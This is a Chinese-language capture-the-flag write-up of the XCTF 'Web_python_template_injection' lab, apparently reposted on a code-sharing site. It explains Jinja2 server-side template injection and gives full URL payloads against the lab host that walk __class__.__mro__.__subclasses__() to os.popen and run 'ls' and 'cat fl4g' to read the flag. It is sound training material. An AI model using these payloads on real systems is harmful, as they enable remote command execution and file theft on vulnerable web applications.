XCTF Web_python_template_injection


一.進入實驗發現是python的模板注入

  

 

  1.我們先來了解一下:

  instance.__class__ 可以獲取當前實例的類對象

  class.__mro__ 獲取當前類對象的所有繼承類

  每一個新式類都保留了它所有的子類的引用,__subclasses__()這個方法返回了類的所有存活的子類的引用(注意是類對象引用,不是實例)

  在Jinja2模板引擎中,{{}}是變量包裹標識符。{{}}並不僅僅可以傳遞變量,還可以執行一些簡單的表達式。

  這里就不一一說明了,我也不是很懂這個漏洞,想更詳細地了解就看看這個 https://www.freebuf.com/column/187845.html

 

  

  2.實驗步驟:

  判斷是否存在漏洞  :  發現1+1被執行了,也就可以利用這漏洞了

 

 

  

 

  通過  http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D ,查看所有模塊

  

 

 

 

  由於我們想要讀取到flag文件里的信息,所以選用 os.popen

  首先我們要找到os模塊的位置,他是位於<class 'site._Printer'>里面 ,結果查找在71

  通過`__subclasses__()[71].__init__.__globals__['os'].popen('').read()`

  調

  我們構造   http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]

  .__init__.__globals__['os'].popen('ls').read()%7D%7D

  

 

 

 

 

  根據返回的結果可以知道我們要找的flag在fl4g里面,現在查看這個文件即可得到flag。

  http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]

  .__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D

  

 

 

 

 

 

 

 

  • 添加到短語集
     
    • 沒有此單詞集:英語 -> 中文(簡體)...
       
    • 創建新的單詞集...
  • 拷貝


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM